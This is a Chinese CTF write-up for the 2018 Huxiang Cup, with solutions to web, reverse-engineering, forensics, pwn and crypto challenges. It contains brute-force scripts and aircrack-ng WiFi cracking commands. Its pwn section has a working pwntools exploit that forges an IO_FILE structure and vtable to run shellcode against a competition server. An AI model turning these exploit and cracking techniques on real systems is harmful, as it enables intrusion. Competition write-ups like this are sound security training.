[2018湖湘杯] writesup

随便做了选择题,进了复赛,然后打了一下,挺多原题的….,就感觉pwn300还行,不过还是发现了自己的不足,自己以后还是需要加强逆向和pwn这块….. 题目链接

签到

single welcome

WEB

Code Check

/news 下有源码,写个加密脚本然后sql注入就行了,最后在notice2表里面找到flag

Readflag

ssrf,然后偶然发现目录下直接有个flag文件

MyNote

在upload页面上传图片文件,然后返回查看图片的页面发现里面多了一个关于picture参数的cookie,解码发现是个json格式的东西 就跟反序列化联系起来了,这是一个数组类型的反序列化但直接反序列化会有报错,在当前目录穿越,回显出来的base64编码

Reverse

Replace

程序逻辑很简单,写个脚本爆破就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
byte_402150 = [0x32, 0x61, 0x34, 0x39, 0x66, 0x36, 0x39, 0x63, 0x33, 0x38, 0x33, 0x39, 0x35, 0x63, 0x64, 0x65, 0x39, 0x36, 0x64, 0x36, 0x64, 0x65, 0x39, 0x36, 0x64, 0x36, 0x66, 0x34, 0x65, 0x30, 0x32, 0x35, 0x34, 0x38, 0x34, 0x39, 0x35, 0x34, 0x64, 0x36, 0x31, 0x39, 0x35, 0x34, 0x34, 0x38, 0x64, 0x65, 0x66, 0x36, 0x65, 0x32, 0x64, 0x61, 0x64, 0x36, 0x37, 0x37, 0x38, 0x36, 0x65, 0x32, 0x31, 0x64, 0x35, 0x61, 0x64, 0x61, 0x65, 0x36]
byte_4021a0 = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]

flag = ""

v4 = 0
while True:
v8 = byte_402150[2*v4]
if ( v8 < 48 or v8 > 57 ):
v9 = v8 - 87
else:
v9 = v8 - 48
v10 = byte_402150[2*v4+1]
v11 = v9*16
if ( v10 < 48 or v10 > 57 ):
v12 = v10 - 87
else:
v12 = v10 - 48


for v5 in range(0x20,0x7f):
v6 = (v5 >> 4) % 16
v7 = (16 * v5 >> 4) % 16

if byte_4021a0[16 * v6 + v7] == (v11 + v12) ^ 0x19:
#print chr(v5)
flag += chr(v5)
break

v4 += 1

if v4 >= 35:
break

print flag

HighwayHash64

  • 一道爆破hash的题目,运用的算法是highwayhash64,github上有源码,程序首先对flag的长度进行hash校验,然后对flag里的数字进行校验,所以首先需要爆破flag长度,然后爆破flag内容,这里有两种方法,一种是修改源码进行爆破,另外一种是直接改exe为dll注入来爆破

方法1

  • 首先要过第一个check,这个可以修改第二个check的retcode为2以此来判断过了长度的check没有

  • 把01改成02

  • 然后写个bat手动爆破一下,可以知道flag长度为19,去掉格式后中间数字只有10位
1
2
3
4
5
6
@echo off
:next
reverse.exe
if %ERRORLEVEL% EQU 2 echo !!!!!number2!!!!! & goto next
if %ERRORLEVEL% EQU 1 echo again & goto next
if %ERRORLEVEL% EQU 0 echo ############ & goto next

  • 然后对照源码发现只有函数HighwayHashReset修改了

  • 于是修改源码中的HighwayHashReset函数为
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void HighwayHashReset(const uint64_t key[4], HighwayHashState* state) {
uint64_t *a2 = (uint64_t*)state;
a2[8] = 0x1BE6D5D5FE4CCE2F;
a2[9] = 0x24093822299F31D0;
a2[10] = 0x33198A2E03707344;
a2[11] = 0x443F6A8885A308D3;
a2[12] = 0x5BD39E10CB0EF593;
a2[13] = 0x60ACF169B5F18A8C;
a2[14] = 0x7E5466CF34E90C6C;
a2[15] = 0x852821E638D01377;
a2[0] = 0xCF0C0C1ED5EDF3E;
a2[1] = a2[9] ^ 0x3F3E3D3C3B3A1918;
a2[2] = a2[10] ^ 0x1226252423222121;
a2[3] = a2[11] ^ 0x2F2E2D2C2B2A2928;
a2[4] = a2[12] ^ 0x1312111117161514;
a2[5] = a2[13] ^ 0x3B3A19183F3E3D3C;
a2[6] = a2[14] ^ 0x2322212112262524;
a2[7] = a2[15] ^ 0x2B2A29282F2E2D2C;
}
  • 验证我们的长度是否正确,从结果来看是正确的,然后爆破数字

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int main() {


uint8_t data[11]={0,0,0,0,0,0,0,0,0,0};
const uint64_t key[4]={0};

for(uint8_t v1='0';v1<='9';v1++){
for(uint8_t v2='0';v2<='9';v2++){
for(uint8_t v3='0';v3<='9';v3++){
for(uint8_t v4='0';v4<='9';v4++){
for(uint8_t v5='0';v5<='9';v5++){
for(uint8_t v6='0';v6<='9';v6++){
for(uint8_t v7='0';v7<='9';v7++){
for(uint8_t v8='0';v8<='9';v8++){
for(uint8_t v9='0';v9<='9';v9++){
for(uint8_t v10='0';v10<='9';v10++){
data[0]=v1;
data[1]=v2;
data[2]=v3;
data[3]=v4;
data[4]=v5;
data[5]=v6;
data[6]=v7;
data[7]=v8;
data[8]=v9;
data[9]=v10;
//printf("%s","aaaa");
if(HighwayHash64(data, 10, key) == 0xAA302D9E67AAC4BA){
puts((char *)data);
}

} } } } } } } } } }

//printf("%llx",HighwayHash64(data, 10, key));
return 0;
}

方法2

将该exe直接改成dll,另外写一个exe来调用

  • 首先需要把IMAGE_FILE_DLL标志位改成1,然后通过stud_PE修改入口点为0

  • 然后就可以写程序调用该dll执行爆破
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// ConsoleApplication1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include "pch.h"
#include <iostream>
#include<windows.h>
typedef __int64(__fastcall *f)(__int64 buff, unsigned __int64 len);

f func;

void len()
{
int i;
unsigned long long result;
for (i = 0; i < 50; i++)
{
result = func((long long)&i, 4);
if (result == 0xD31580A28DD8E6C4)
{
printf("Len is %d\n", i - 9);
return;
}
}
printf("Not found the lenn");
return;
}

void hash()
{
unsigned long long i;
unsigned long long result;
char buff[20];
for (i = 0; i < 10000000000; i++)
{
sprintf_s(buff, "%0.10llu", i);
if (i % 100000 == 0)
{
printf("%0.10llu\n", i);
}
result = func((long long)buff, 10);
if (result == 0xAA302D9E67AAC4BA)
{
//2503647891
printf("flag is %lld\n", i);
return;
}
}
}

int main()
{
HINSTANCE hdll;

hdll = LoadLibrary(TEXT("C:\\reverse.dll"));
if (hdll == NULL)
{
printf("Load dll Error: %dn", GetLastError());
return 0;
}
printf("Dll base is %llx\n", hdll);
func = ((f)((char*)hdll + 0x17A0));
len();
hash();
}

参考文章:

MISC

Disk

ftk打开发现有4个flag文件,保存下来是二进制,转十进制然后转ascii

1
2
3
4
5
6
7
8
9
10
11
12
13
a = "01 10 01 10 01 10 11 00 01 10 00 01 01 10 01 11 01 11 10 11 00 11 01 00 01 00 01 00 01 01 00 11 01 01 11 11 00 11 00 01 01 10 11 10 01 01 11 11 01 00 01 00 00 11 00 01 01 11 00 11 01 10 10 11 01 11 11 01"

b = a.replace(' ','')

flag = ""

i = 0
while i < len(b):
#print chr(int(b[i:i+8],2))
flag += chr(int(b[i:i+8],2))
i += 8

print flag

Flow

看流量包是抓的wifi包,于是用aircrack-ng跑密码,然后解密流量包,分析得到flag

1
2
3
4
5
#爆破密码
aircrack-ng -w pass.txt ctf.pcap

#解密流量包
airdecap-ng ctf.pcap -e ctf -p password1

Hidden Write

png图片里面有3个IEND块,所以有3张图,分离出来之后第二张lsb隐写,第1,3张盲水印,然后还有png文件最后一段,3段组成flag

PWN

Regex Format

跟网鼎杯的blind一样做法,改简单了,直接覆盖stdout的地址伪造IO_FILE结构体,然后伪造vtable,可以获得任意地址执行,直接写shellcode到bss段,然后执行到shellcode就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context.binary = "./pwn1"
context.log_level="debug"

#p = process("./pwn1")
p = remote('47.106.243.235',8888)

p.recvuntil('format\n')
p.sendline('a')

fake_IO_stdout_addr = 0x0804A24C
fake_vtable = 0x0804A24C + 0x100

fake_IO_stdout = p32(0xfbad8000) + p32(0x0804A44C)*8 + p32(0)*4
fake_IO_stdout += p32(0x0804A44C) + p32(1) + p32(0) + p32(0xffffffff)
fake_IO_stdout += p32(0) + p32(0x0804A44C) + p32(0xffffffff)*2
fake_IO_stdout += p32(0) + p32(0x0804A44C) + p32(0)*3
fake_IO_stdout += p32(0xffffffff) + p32(0)*10 + p32(fake_vtable)
fake_IO_stdout += p32(0x0804A44C) + p32(0x0804A44C)

fake_IO_stdout = fake_IO_stdout.ljust(0x100,'\x00')

payload = fake_IO_stdout + 'a'*28 + p32(0x0804A24C + 0x120) + asm(shellcraft.sh())


p.recvuntil('match\n')
p.sendline(payload)

p.recvuntil('?[Y/n]\n')
p.sendline('Y')

#gdb.attach(p)
p.recvuntil('format\n')
p.sendline('a'*0x49 + p32(fake_IO_stdout_addr))

p.interactive()

hunger

原题,不多说…

exp: https://github.com/SECCON/SECCON2017_online_CTF/blob/master/pwn/300_hash_burger/exploit.py

Crypto

Common Crypto

打开程序发现有点像aes加密,于是尝试直接用密钥和密文解密,发现有flag的前半段…..

1
2
3
4
5
6
7
8
9
10
11
#coding : utf-8
from Crypto.Cipher import AES
from Crypto import Random


key = '1b2e3546586e72869ba7b5c8d9efff0c'.decode('hex')
cipher = AES.new(key, AES.MODE_ECB)
msg = cipher.decrypt('461559ceb56d277df44a31ae89f08a6a33626430326635343563373032383031'.decode('hex'))


print msg.encode('hex')

后半段直接用密文的后16字节decode hex编码就是了